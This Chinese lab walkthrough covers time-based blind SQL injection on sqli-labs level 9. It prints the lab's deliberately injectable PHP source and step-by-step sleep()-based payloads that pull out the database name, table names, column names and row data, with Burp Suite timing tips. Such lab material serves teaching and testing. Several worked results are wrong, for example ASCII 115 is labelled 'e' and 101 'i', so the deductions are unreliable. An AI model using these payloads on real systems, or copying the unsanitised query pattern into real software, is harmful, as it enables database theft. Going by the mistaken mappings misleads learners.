sql注入–时间盲注

sql注入–时间盲注

靶场:sqli-labs-master
下载链接:靶场下载链接

第九关
php源码

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);

// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
echo $sql;
echo "</br>";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="5" color="#FFFF00">';
	echo 'You are in...........';
	//print_r(mysql_error());
	//echo "You have an error in your SQL syntax";
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>

时间盲注与布尔盲注不同,布尔盲注如果成功会有回显,而时间盲注没有
此时就需要使用条件判断语句进行盲注
盲注需要用到一些函数
1.substr() 截取字符串
2.length() 返回字符串长度
3.ascii() 返回字符串的ASCII码
4.sleep() 程序执行延迟()秒
5.if(exp1,exp2,exp3) 如果exp1正确,就执行exp2,否则执行exp3

比如:
1.select if(1=2,1,2)
返回2
2.select sleep(5)
程序延迟5秒运行

①.使用if 和 sleep构造语句获取数据库名称

?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(5)) --+

可以使用F12打开开发调试工具,在network里面查看网页响应时间
在这里插入图片描述
可以看到,运行时间为17ms。说明没有执行sleep函数,那么数据库名的第一个字符对应的ASCII码为115,即e

如果将115改成112
在这里插入图片描述
可以看到,相应时间为5.02秒,说明执行了sleep函数,那么对应ASCII码就不为112
同理可以获取到其他字符

注:可以使用burpsuite的repeater模块减少手工测试的时间
抓包
在这里插入图片描述
发送至repeater模块
在这里插入图片描述
在这里插入图片描述
右下角可以看到响应时间
技巧:可以将=改为<或>来缩小范围
例如:在这里插入图片描述
可以看到小于110是错误的,那么110及以下的都不用进行判断

这样就方便观察和猜解数据

获取到数据库的名称为security
②.获取数据表的名称

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115,1,sleep(5)) --+

在这里插入图片描述
在这里插入图片描述
得到数据表的第一个字符为e
余下的同理可得emails

③.获取数据表的字段名

?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=101,1,sleep(5)) --+

在这里插入图片描述
在这里插入图片描述
得到第一个字段的字符为i
余下同理

得到第一个字段为id
④.获取id字段中的数据

?id=1' and if(ascii(substr((select id from emails limit 0,1),1,1))=101,1,sleep(5)) --+

在这里插入图片描述
在这里插入图片描述
得到数据表的id字段一个数据为1
余下的同理可得

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>